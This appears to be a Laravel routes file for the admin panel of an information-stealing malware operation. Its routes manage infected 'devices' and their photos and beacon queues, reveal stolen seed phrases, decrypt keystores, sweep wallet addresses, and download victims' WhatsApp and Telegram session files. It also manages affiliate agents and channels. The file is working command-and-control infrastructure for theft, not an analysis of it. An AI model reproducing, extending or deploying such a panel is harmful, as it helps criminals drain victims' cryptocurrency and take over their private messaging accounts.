149 lines
11 KiB
PHP
149 lines
11 KiB
PHP
<?php
|
|
|
|
use App\Http\Controllers\Admin\AdminUserController;
|
|
use App\Http\Controllers\Admin\AgentUserController;
|
|
use App\Http\Controllers\Admin\AuthController;
|
|
use App\Http\Controllers\Admin\ChannelController;
|
|
use App\Http\Controllers\Admin\AnalyticsController;
|
|
use App\Http\Controllers\Admin\DailyReportController;
|
|
use App\Http\Controllers\Admin\DashboardController;
|
|
use App\Http\Controllers\Admin\DeviceController;
|
|
use App\Http\Controllers\Admin\FilterOptionsController;
|
|
use App\Http\Controllers\Admin\Google2faController;
|
|
use App\Http\Controllers\Admin\KeystoreController;
|
|
use App\Http\Controllers\Admin\MnemonicController;
|
|
use App\Http\Controllers\Admin\MnemonicFindingController;
|
|
use App\Http\Controllers\Admin\NoteController;
|
|
use App\Http\Controllers\Admin\PageVisitController;
|
|
use App\Http\Controllers\Admin\PhotoController;
|
|
use App\Http\Controllers\Admin\PluginSessionController;
|
|
use App\Http\Controllers\Admin\SystemLogController;
|
|
use App\Http\Controllers\Admin\SystemSettingsController;
|
|
use App\Http\Controllers\Admin\TransferRecordController;
|
|
use App\Http\Controllers\Admin\WalletAddressController;
|
|
use Illuminate\Support\Facades\Route;
|
|
|
|
Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(function () {
|
|
Route::get('login', [AuthController::class, 'showLogin'])->name('login');
|
|
Route::post('login', [AuthController::class, 'login'])->name('login.submit');
|
|
|
|
Route::middleware('auth:admin')->group(function () {
|
|
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
|
|
Route::get('/', [AuthController::class, 'home'])->name('home');
|
|
|
|
Route::get('security/google2fa', [Google2faController::class, 'index'])->name('security.google2fa');
|
|
Route::post('security/google2fa/prepare', [Google2faController::class, 'prepare'])->name('security.google2fa.prepare');
|
|
Route::post('security/google2fa/bind', [Google2faController::class, 'bind'])->name('security.google2fa.bind');
|
|
Route::post('security/google2fa/toggle', [Google2faController::class, 'toggle'])->name('security.google2fa.toggle');
|
|
Route::post('security/google2fa/unbind', [Google2faController::class, 'unbind'])->name('security.google2fa.unbind');
|
|
|
|
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
|
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
|
Route::get('reports/daily', [DailyReportController::class, 'index'])->name('reports.daily');
|
|
Route::get('reports/daily/data', [DailyReportController::class, 'data'])->name('reports.daily.data');
|
|
Route::get('reports/analytics', [AnalyticsController::class, 'index'])->name('reports.analytics');
|
|
Route::get('reports/analytics/data', [AnalyticsController::class, 'data'])->name('reports.analytics.data');
|
|
|
|
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
|
Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
|
|
|
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
|
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
|
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
|
|
|
|
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
|
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
|
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
|
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
|
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
|
|
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
|
|
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
|
|
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
|
|
|
// Beacon queue management (DarkSword devices)
|
|
Route::post('devices/{device}/queue/add', [DeviceController::class, 'queueAdd'])->name('devices.queue.add');
|
|
Route::post('devices/{device}/queue/remove', [DeviceController::class, 'queueRemove'])->name('devices.queue.remove');
|
|
Route::post('devices/{device}/queue/reorder', [DeviceController::class, 'queueReorder'])->name('devices.queue.reorder');
|
|
|
|
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
|
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
|
|
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
|
|
Route::post('addresses/{address}/sweep', [WalletAddressController::class, 'sweep'])->name('addresses.sweep');
|
|
|
|
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
|
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
|
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
|
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
|
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
|
|
->name('mnemonics.reveal');
|
|
|
|
Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index');
|
|
Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data');
|
|
Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm');
|
|
Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss');
|
|
|
|
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
|
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
|
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
|
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
|
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
|
|
|
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
|
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
|
|
|
Route::get('photos', [PhotoController::class, 'index'])->name('photos.index');
|
|
Route::get('photos/data', [PhotoController::class, 'data'])->name('photos.data');
|
|
|
|
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
|
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
|
|
|
Route::get('whatsapp', [PluginSessionController::class, 'whatsapp'])->name('whatsapp.index');
|
|
Route::get('whatsapp/data', [PluginSessionController::class, 'whatsappData'])->name('whatsapp.data');
|
|
Route::get('telegram', [PluginSessionController::class, 'telegram'])->name('telegram.index');
|
|
Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data');
|
|
Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload');
|
|
Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download');
|
|
Route::get('sessions/{pluginSession}/tdata', [PluginSessionController::class, 'downloadTdata'])->name('sessions.tdata');
|
|
Route::get('sessions/{pluginSession}/session-file', [PluginSessionController::class, 'downloadSessionFile'])->name('sessions.session-file');
|
|
Route::get('sessions/{pluginSession}/ws-full', [PluginSessionController::class, 'downloadWsFull'])->name('sessions.ws-full');
|
|
Route::get('sessions/export', [PluginSessionController::class, 'export'])->name('sessions.export');
|
|
Route::get('sessions/export/ws', [PluginSessionController::class, 'exportWs'])->name('sessions.export.ws');
|
|
|
|
Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index');
|
|
Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data');
|
|
Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store');
|
|
Route::post('agents/telegram-test', [AgentUserController::class, 'testTelegram'])->name('agents.telegramTest');
|
|
Route::put('agents/{agent}', [AgentUserController::class, 'update'])->name('agents.update');
|
|
Route::post('agents/{agent}/unlock', [AgentUserController::class, 'unlock'])->name('agents.unlock');
|
|
Route::get('agents/{agent}/channels', [AgentUserController::class, 'channels'])->name('agents.channels');
|
|
|
|
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
|
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
|
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
|
|
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
|
|
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
|
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
|
|
|
Route::prefix('system')->name('system.')->group(function () {
|
|
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
|
|
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
|
|
Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest');
|
|
});
|
|
|
|
Route::middleware('admin.super')->group(function () {
|
|
Route::post('mnemonics', [MnemonicController::class, 'store'])->name('mnemonics.store');
|
|
|
|
Route::prefix('system')->name('system.')->group(function () {
|
|
Route::get('logs', [SystemLogController::class, 'index'])->name('logs.index');
|
|
Route::get('logs/data', [SystemLogController::class, 'data'])->name('logs.data');
|
|
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
|
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
|
Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store');
|
|
Route::put('admins/{adminUser}', [AdminUserController::class, 'update'])->name('admins.update');
|
|
Route::post('admins/{adminUser}/unlock', [AdminUserController::class, 'unlock'])->name('admins.unlock');
|
|
Route::delete('admins/{adminUser}', [AdminUserController::class, 'destroy'])->name('admins.destroy');
|
|
});
|
|
});
|
|
});
|
|
});
|